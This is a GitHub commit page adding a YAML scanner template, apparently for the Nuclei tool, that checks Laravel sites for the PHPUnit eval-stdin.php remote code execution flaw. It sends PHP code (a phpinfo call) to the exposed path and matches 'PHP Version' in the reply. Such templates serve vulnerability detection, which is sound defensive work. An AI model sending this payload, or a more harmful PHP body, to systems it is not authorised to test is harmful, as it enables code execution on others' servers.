Create laravel-phpunit-rce.yaml

patch-1
PikPikcU 2021-07-04 02:56:43 +00:00 committed by GitHub
parent d50459eb9b
commit 3a72926d54
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 29 additions and 0 deletions

View File

@ -0,0 +1,29 @@
id: laravel-phpunit-rce
info:
name: Laravel Phpunit RCE
author: pikpikcu
severity: critical
reference: https://twitter.com/sec715/status/1411517028012158976
tags: laravel,rce
requests:
- method: GET
path:
- "{{BaseURL}}/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
headers:
Content-Type: text/html
body: |
<?php phpinfo();?>
matchers-condition: and
matchers:
- type: word
words:
- "PHP Version"
part: body
- type: status
status:
- 200